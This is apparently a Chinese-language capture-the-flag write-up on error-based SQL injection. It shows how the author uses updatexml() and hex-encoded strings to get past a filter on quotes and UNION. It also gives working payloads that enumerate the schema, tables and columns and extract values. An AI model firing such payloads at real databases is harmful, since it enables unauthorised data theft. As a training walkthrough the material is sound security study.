知识点:报错注入,用16进制(0x)代替引号的功能
分析
页面中告诉我们要找一串数字输进去,且过滤了一些关键词。
UNION被过滤了说明堆叠注入没法用了,并且他还把sql语句给我们了,那大概率是报错注入了,试下看看。
SELECT * FROM users WHERE uniqueid=1
果然是报错注入,这边的||
功能和and
一样,用and也一样。
爆
接下来就慢慢构造呗,这边有一个小的知识点,题目虽然过滤了引号,但我们可以用16进制来达到同样的目的。
例如:table_name='users' 和 table_name=0x7573657273 功能一样
爆库:sql_injection
1||(updatexml(1,concat(0x3a,(select SCHEMA_NAME from information_schema.schemata limit 3,1)),1))#
爆表:users
1||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
列字段:USER CURRENT_CONNECTIONS TOTAL_CONNECTIONS user uniqueid
1||(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1)),1))#
取值:
1||(updatexml(1,concat(0x3a,(select uniqueid from sql_injection.users limit 0,1)),1))#
flag
最后在sql_injection.users
的uniqueid
字段里找到一串数字
输入到主页的框里就可以拿到flag了。